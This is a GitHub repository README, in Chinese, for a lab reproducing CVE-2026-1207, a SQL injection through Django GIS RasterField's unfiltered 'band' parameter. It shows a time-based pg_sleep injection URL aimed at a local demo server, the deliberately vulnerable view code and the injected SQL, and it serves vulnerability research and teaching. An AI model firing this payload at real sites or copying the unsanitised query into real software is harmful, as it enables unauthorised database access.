sw0rd1ight/CVE-2026-1207

GitHub: sw0rd1ight/CVE-2026-1207

复现 Django GIS RasterField 在处理 PostGIS 栅格查询时因 band 参数未过滤而导致的 SQL 注入漏洞。

Stars: 0 | Forks: 0

# CVE-2026-1207 Django GIS RasterField SQL 注入漏洞复现 ## 漏洞概述 **漏洞类型**: SQL 注入 (SQL Injection) **影响组件**: `django.contrib.gis` RasterField 当使用 Django GIS 的 `RasterField` 进行查询时,`band` 参数被直接拼接到 SQL 语句中,导致 SQL 注入漏洞。攻击者可通过构造恶意的 `band` 参数值,注入任意 SQL 代码。 ## 项目结构 CVE-2026-1207/ ├── .devcontainer/ # VSCode DevContainer 配置 ├── .vscode/ # VSCode 配置 ├── vuln/ # 漏洞演示应用 │ ├── models.py # 包含 RasterField 的模型 │ ├── views.py # 漏洞触发点 │ └── migrations/ # 数据库迁移文件 ├── web/ # Django 项目配置 ├── manage.py ├── README.md ## 环境启动 该漏洞项目使用 VSCode 的 devcontainer 进行构建。 ### 1️⃣ 打开项目 用 VS Code 打开已经存在的项目根目录(包含 `.devcontainer` 文件夹)。 ### 2️⃣ 重新打开容器(构建 Dev Container) 按 `Ctrl+Shift+P`(Windows/Linux)或 `Cmd+Shift+P`(Mac) 输入 `Remote-Containers: Reopen in Container` VS Code 会读取 `.devcontainer` 配置并构建容器(首次构建可能需要几分钟) ⚠️ 如果 Dockerfile 或依赖更新过,可以选择 `Remote-Containers: Rebuild Container`,确保使用最新环境。 ### 3️⃣ 运行 Django 开发服务器 打开命令面板 `Ctrl+Shift+P` 输入 `Tasks: Run Task` 选择 `django:start`(任务已在 `.vscode/tasks.json` 配置) 这个任务会在容器内启动 Django 开发服务器 默认监听 `0.0.0.0:8087` ### 4️⃣ 打开浏览器访问项目 打开浏览器访问: http://localhost:8087 ### 5️⃣ 注意事项 第一次运行可能需要执行数据库迁移: python manage.py migrate ## 漏洞复现 漏洞分析详情发表在 先知[https://xz.aliyun.com/news/91993](https://xz.aliyun.com/news/91993) 微信公众号[https://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A](https://xz.aliyun.com/news/91993) ### POC: 延时注入 访问以下 URL 触发 SQL 注入: http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20-- 观察响应时间,正常请求应立即返回,注入请求会延迟约 3 秒。 ### 漏洞代码位置 [vuln/views.py:36](vuln/views.py#L36) def get(self, request: HttpRequest): band = request.GET.get("band", 1) # ← 未经过滤的用户输入 rast = GDALRaster(...) qs = RasterModel.objects.filter(rast__contains=(rast, band)) # ← band 直接传入查询 print(qs.query) # ← 查看生成的 SQL qs.count() return HttpResponse("book app") ### 生成的 SQL(注入后) SELECT ... FROM vuln_rastermodel WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --)) ## 免责声明 本项目仅供安全研究和教育目的使用。请勿在未经授权的系统上使用。
标签:CISA项目, CVE-2026-1207, Django, GIS, OPA, PoC, PostGIS, Python, RasterField, VSCode DevContainer, Web安全, 开放策略代理, 无后门, 暴力破解, 栅格数据, 波段索引, 测试用例, 漏洞复现, 网络安全, 蓝队分析, 请求拦截, 逆向工具, 隐私保护, 靶场